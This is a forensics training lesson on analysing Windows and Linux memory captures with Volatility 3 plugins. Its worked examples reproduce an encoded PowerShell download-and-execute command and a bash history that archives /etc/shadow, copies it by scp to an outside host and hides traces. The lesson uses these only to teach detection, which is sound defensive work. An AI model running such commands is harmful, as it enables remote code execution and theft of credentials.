Memory and volatile data · Lesson 2 of 4
Volatility 3: processes, command lines and DLLs
10 min read
Lesson 5.1 showed how to capture memory; this lesson shows how to read the processes in it. With Volatility 3 you list what was running, rebuild who started what, recover command lines and loaded modules, and spot processes that a rootkit has hidden. Windows plugins and their Linux equivalents are taught side by side, because the CFX practical exam uses a Linux memory capture while Part A also asks about Windows memory.
Volatility 3 basics
Volatility 3 is an open-source Python 3 framework. Once installed with pip it is invoked as vol -f <image> <plugin>; from a source checkout the same thing is python3 vol.py -f <image> <plugin>. Plugins are named by operating system: windows.pslist, linux.pslist, mac.pslist. Global options go before the plugin name and plugin options after it, for example vol -f mem.raw -r csv windows.pslist --pid 6120.
To translate raw memory into structures such as a process record, Volatility needs a symbol table: the layout and kernel addresses for that exact kernel build, stored as an ISF (Intermediate Symbol Format) JSON file.
- Windows. Volatility finds the kernel's debug record, reads its PDB (program database) name and GUID, downloads the matching PDB from Microsoft's public symbol server, converts it to ISF and caches it. This needs internet access the first time; on an offline analysis workstation, pre-populate the cache or place the Windows symbol pack published by the Volatility Foundation, as a zip file, in
volatility3/symbols. - Linux and macOS. Nothing is downloaded by default. You must place a matching ISF file under
volatility3/symbols(or a directory named with--symbol-dirs). For Linux it is built withdwarf2jsonfrom a kernel with debug information and its System.map, for exampledwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.1.0-18-amd64 --system-map /boot/System.map-6.1.0-18-amd64 > debian-6.1.0-18.json. On Debian the debug kernel comes from thelinux-image-6.1.0-18-amd64-dbgpackage.
Identify the system before anything else. windows.info reports the kernel base, the directory table base, whether the image is 64-bit, the build (NtMajorVersion, NtMinorVersion, NTBuildLab) and the SystemTime at capture. For Linux, banners.Banners scans for the kernel banner string, such as Linux version 6.1.0-18-amd64 (debian-kernel@lists.debian.org) ... Debian 6.1.76-1; the ISF must match that exact release, or plugins fail or return garbage.
Output goes to the screen as a table by default. -r csv and -r json (also jsonl) produce machine-readable output for spreadsheets and timelines; -o <dir> sets where dumped files are written. Volatility reports times in UTC.
Listing processes on Windows
A Windows process is represented in the kernel by an EPROCESS structure. Three plugins view these structures in different ways.
| Plugin | Method | Finds | Misses |
|---|---|---|---|
windows.pslist | Walks the doubly linked list starting at PsActiveProcessHead through each EPROCESS.ActiveProcessLinks | Processes active at capture | Unlinked (hidden) and terminated processes |
windows.psscan | Scans physical memory for EPROCESS pool allocations (pool tag Proc) | Active, terminated and unlinked processes | Nothing on the list, but may show stale remnants |
windows.pstree | Arranges the process list by parent PID | Parent-child relationships | Same as pslist |
The key fields are PID and PPID (parent PID); ImageFileName, a 15-byte field in EPROCESS, so long names are cut to 14 characters (ApplicationFrameHost.exe shows as ApplicationFra); CreateTime and ExitTime in UTC; Threads and Handles; SessionId (0 for services, 1 or higher for interactive logons); and Wow64 (True for a 32-bit process on 64-bit Windows).
Spotting hiding. A rootkit can unlink its EPROCESS from ActiveProcessLinks by Direct Kernel Object Manipulation (DKOM). The process keeps running, because the scheduler works with threads, not with that list, but it disappears from pslist and from Task Manager. Compare the PIDs from pslist and psscan: a process in psscan with no ExitTime that pslist does not show deserves a close look. A psscan entry with an ExitTime is usually just a process that ended.
What a normal Windows tree looks like
On Windows 10 and 11 the boot chain is stable:
- System (PID 4) starts smss.exe. The session manager creates a temporary copy of itself per session, which starts csrss.exe and wininit.exe in session 0, and csrss.exe and winlogon.exe in session 1, then exits. Their PPID therefore matches no running process; this is normal.
- wininit.exe starts services.exe and lsass.exe. There is exactly one of each.
- services.exe is the parent of every svchost.exe, each started with
-k <group>(often also-p -s <service>). - winlogon.exe starts userinit.exe, which starts explorer.exe and exits, so explorer.exe also has an orphaned PPID. User programs are children of explorer.exe.
Anomalies to look for: a system process with the wrong parent (lsass.exe not under wininit.exe, svchost.exe not under services.exe); a second lsass.exe; lookalike names such as scvhost.exe or lsas.exe; a system binary outside C:\Windows\System32; svchost.exe without -k; and Office applications, browsers or PDF readers starting shells. PIDs are reused, so always check that the parent's CreateTime is earlier than the child's.
Command lines, DLLs and process context
windows.cmdlineprints the command line from the process's PEB (Process Environment Block, in user space) viaProcessParameters. A process can overwrite its own PEB, so treat it as strong but not tamper-proof, and expect "inaccessible (swapped)" or "not valid" errors when the page is not in the image.windows.dlllistlists modules from the PEB loader list, with base address, size, full path and load time. It gives the full path that ImageFileName cannot.windows.ldrmodulescompares the three PEB lists (InLoadOrder, InInitializationOrder, InMemoryOrder) with the VADs (Virtual Address Descriptors, the kernel's record of mapped memory). A DLL mapped in a VAD but False in all three lists was unlinked to hide it. The main executable is normally False in InInit only. Since 2025 this plugin is filed aswindows.malware.ldrmodules; the short name still works as a deprecated alias.windows.envarsshows environment variables (for exampleTEMP,USERNAME);windows.getsidsshows the SIDs in the process token, which tie a process to an account;windows.privilegesshows token privileges, where an enabledSeDebugPrivilegein an unexpected process is notable.windows.pslist --pid 6120 --dumpwrites the process executable to disk, andwindows.dumpfiles --pid 6120extracts file objects cached in memory. A dumped PE is rebuilt from memory and usually does not hash-match the file on disk; hash the disk copy for identification.
Worked example: Word starts PowerShell
windows.pstree on a Windows 11 image, simplified:
| Process | PID | PPID | Session | CreateTime (UTC) |
|---|---|---|---|---|
| System | 4 | 0 | N/A | 2026-03-12T07:58:11Z |
| . smss.exe | 368 | 4 | N/A | 2026-03-12T07:58:11Z |
| wininit.exe | 552 | 460 | 0 | 2026-03-12T07:58:14Z |
| . services.exe | 696 | 552 | 0 | 2026-03-12T07:58:14Z |
| . lsass.exe | 704 | 552 | 0 | 2026-03-12T07:58:14Z |
| explorer.exe | 3172 | 3140 | 1 | 2026-03-12T08:01:52Z |
| . WINWORD.EXE | 4388 | 3172 | 1 | 2026-03-12T09:38:02Z |
| .. powershell.exe | 6120 | 4388 | 1 | 2026-03-12T09:41:27Z |
windows.cmdline --pid 6120 returns powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==.
Reading the switches. -nop is -NoProfile, -w hidden is -WindowStyle Hidden (no visible window) and -enc is -EncodedCommand, which takes Base64 of UTF-16LE text.
Decoding. The string has 200 Base64 characters ending in ==: 200 ÷ 4 × 3 = 150 bytes, minus 2 for the padding, gives 148 bytes. UTF-16LE uses 2 bytes per character here, so the command is 148 ÷ 2 = 74 characters. The first 8 characters SQBFAFgA decode to bytes 49 00 45 00 58 00, which are I, E, X. The full text is IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'): download a script and run it in memory with Invoke-Expression, without writing it to disk.
Why the parent matters. Word does not start PowerShell in normal use. A child shell under WINWORD.EXE points to a malicious macro or a document exploit. The parent's CreateTime (09:38:02Z) is 3 minutes 25 seconds before the child's (09:41:27Z), so the PPID has not been reused. Next steps: windows.dlllist --pid 4388 to see whether the VBA engine VBE7.DLL was loaded, windows.getsids --pid 6120 for the account, and the network plugins of Lesson 5.3 to look for a connection to 203.0.113.50.
Linux equivalents
The Linux kernel represents each task with a task_struct. linux.pslist walks the task list, linux.pstree shows parents, and in recent Volatility 3 versions linux.psscan scans memory for task structures, so the pslist versus psscan comparison works on Linux too. The process name (comm) is 16 bytes, so at most 15 characters. linux.psaux shows the full argument list from process memory and, like the PEB, can be altered by the process. linux.lsof lists open file descriptors, linux.elfs lists mapped ELF files, linux.proc.Maps lists memory regions and their backing files, and linux.envars, in recent versions, shows environment variables.
linux.bash is often the most valuable Linux plugin. Bash keeps its history list in the process heap and writes ~/.bash_history only when the shell exits, so commands are recovered even when the attacker ran unset HISTFILE or deleted the file. Each entry carries a timestamp, stored in memory as a string such as #1773309820. The plugin finds nothing for shells that had already exited.
Worked example. On a Debian 12 server, linux.psaux shows PID 2214 as -bash (a login shell) under an sshd session, and linux.pslist in recent versions shows UID 0 (root) for it. linux.bash --pid 2214 returns:
| PID | Process | CommandTime (UTC) | Command |
|---|---|---|---|
| 2214 | bash | 2026-03-12T10:02:09Z | unset HISTFILE |
| 2214 | bash | 2026-03-12T10:02:58Z | tar czf /tmp/.x.tgz /etc/shadow /var/www/html/config.php |
| 2214 | bash | 2026-03-12T10:03:40Z | scp /tmp/.x.tgz backup@198.51.100.23:/srv/in/ |
| 2214 | bash | 2026-03-12T10:04:12Z | rm /tmp/.x.tgz |
To check the scp time: 1,773,309,820 − 1,773,273,600 (2026-03-12T00:00:00Z) = 36,220 s = 10 h 3 min 40 s, so 2026-03-12T10:03:40Z. Because HISTFILE was unset, /root/.bash_history on disk will not contain these commands; memory is the only record.
Choosing the plugin
| Question | Windows plugin | Linux plugin |
|---|---|---|
| Which OS and kernel build? | windows.info | banners.Banners |
| What was running? | windows.pslist | linux.pslist |
| Hidden or ended processes? | windows.psscan | linux.psscan (recent versions) |
| Who started whom? | windows.pstree | linux.pstree |
| Full command line? | windows.cmdline | linux.psaux |
| Loaded libraries or mapped files? | windows.dlllist, windows.ldrmodules | linux.elfs, linux.proc.Maps |
| Open files? | windows.handles (Lesson 5.3) | linux.lsof |
| Environment variables? | windows.envars | linux.envars (recent versions) |
| Commands typed by the user? | windows.consoles, windows.cmdscan (recent versions) | linux.bash |
Exam focus: Expect to state exact values from a Linux capture: a PID, a parent PID, a command line fromlinux.psauxor a command and its UTC time fromlinux.bash. Part A may ask why psscan finds a process that pslist does not, which parent is normal for lsass.exe or svchost.exe, how to decode-enc(Base64 of UTF-16LE), and why Linux analysis fails without a matching ISF.
Key points
- Volatility 3 needs a symbol table: Windows PDBs are fetched from Microsoft's symbol server by GUID, while Linux and macOS need an ISF built with dwarf2json for the exact kernel.
- pslist walks the active process list; psscan scans for structures and also finds ended and unlinked processes, so a difference between them can reveal DKOM hiding.
- Know the normal tree: one lsass.exe under wininit.exe, svchost.exe under services.exe with
-k, explorer.exe with an orphaned PPID; a shell under an Office application is a strong lead. - Command lines (
windows.cmdline,linux.psaux) come from user-space memory the process can alter; corroborate them with other sources. linux.bashrecovers timestamped commands from live bash processes, including when HISTFILE was unset or the history file deleted.
Practice questions
Check your understanding. These questions do not count towards the exam.
Sign in to save your progress and continue where you left off. It is free. Sign in